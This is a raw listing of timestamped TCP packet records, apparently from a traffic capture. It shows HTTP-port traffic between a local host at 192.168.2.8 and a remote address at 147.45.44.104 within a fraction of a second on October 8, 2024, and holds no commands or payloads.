Oct 8, 2024 03:23:05.032489061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032501936 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.032524109 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032535076 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032540083 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.032555103 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032565117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032567024 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.032582998 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.032622099 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.032974005 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033015966 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033016920 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033026934 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033070087 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033112049 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033123016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033139944 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033152103 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033165932 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033169031 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033202887 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033222914 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033266068 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033266068 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033277035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033294916 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033304930 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033324957 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033349991 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033356905 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033360958 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033380985 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033397913 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033420086 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033432007 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033447981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033463001 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033463001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033493042 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033497095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033508062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033524990 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033533096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.033557892 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033591032 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.033782005 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.034239054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034269094 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034280062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034323931 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.034367085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034372091 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.034379005 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034395933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034404993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034416914 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.034434080 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034460068 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.034467936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034512997 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.034637928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034657955 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034672022 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034686089 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034699917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034706116 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.034715891 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034734011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034742117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.034754038 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.034792900 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.035259962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035290003 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035303116 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035336018 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.035346031 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035356998 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035375118 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035399914 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.035406113 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035415888 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035439014 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035461903 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.035499096 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.035587072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035629034 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.035639048 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035648108 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035680056 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035690069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035695076 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.035710096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035725117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035732985 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.035756111 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.035792112 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.036612988 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.036668062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.036670923 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.036679029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.036712885 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.036722898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.036731005 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.036741972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.036768913 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.036823988 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.036834955 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.036868095 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.069226980 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.069248915 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.069291115 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.069312096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.069319963 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.069324017 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.069344997 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.069377899 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.069400072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.069411039 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.069447041 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.113105059 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.113116980 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.113152027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.113166094 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.113174915 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.113181114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.113198996 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.113229036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.113230944 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.113240004 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.113256931 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.113296032 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.115919113 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.115952969 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.115963936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.115998983 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.116018057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116029024 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116045952 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116064072 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.116066933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116084099 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116096973 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116106987 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.116127968 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.116835117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116872072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116880894 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116934061 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.116962910 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116975069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.116991997 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117011070 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.117041111 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117053032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117070913 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117084980 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117089033 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.117132902 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.117149115 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117192030 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.117232084 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117244005 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117279053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117280006 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.117289066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117345095 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.117655039 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117747068 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117758036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117774963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117789984 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117799997 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117805004 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.117818117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117834091 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.117851019 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.117877007 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.118052959 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.118083000 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.118097067 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.118128061 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.118155956 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.118168116 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.118185043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.118196964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.118206978 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.118247032 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119131088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119174004 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119184017 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119194984 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119230986 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119240999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119251966 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119267941 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119293928 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119352102 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119363070 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119379044 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119405985 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119406939 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119419098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119438887 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119438887 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119455099 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119466066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119483948 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119524956 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119631052 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119683027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119693995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119705915 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119721889 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119749069 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119786024 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119796038 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119812965 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119821072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.119832039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.119860888 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120137930 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120147943 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120162964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120187998 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120207071 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120215893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120225906 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120242119 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120249987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120264053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120270014 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120289087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120299101 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120311975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120313883 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120341063 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120362043 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120388985 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120394945 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120404959 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120420933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120428085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.120448112 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.120486975 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.122042894 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.122109890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.122123957 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.122170925 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.122181892 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.122193098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.122200012 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.122210979 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.122216940 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.122242928 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.123023987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123055935 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123068094 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123070955 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.123111963 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.123152971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123159885 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123161077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123162031 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123166084 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123194933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123215914 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.123244047 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123250961 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.123258114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123275042 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123300076 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123302937 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.123311043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123328924 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123337030 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.123342037 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.123368979 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.124102116 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.124114990 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.124130011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.124155998 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.124157906 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.124166965 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.124187946 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.124198914 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.124213934 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.124241114 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.177150011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.177175999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.177198887 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.177243948 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.177258968 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.177272081 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.177289963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.177297115 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.177324057 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.177371979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.177382946 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.177419901 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.199841022 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.199877977 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.199934006 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.199944973 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.199947119 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.199975967 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.199984074 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.199989080 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.200006962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.200017929 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.200021029 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.200097084 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203334093 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203345060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203361988 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203381062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203398943 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203408003 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203418970 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203419924 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203438997 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203449965 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203454018 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203484058 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203665972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203676939 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203694105 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203726053 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203758001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203768015 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203784943 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203798056 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203823090 CEST	80	49706	147.45.44.104	192.168.2.8
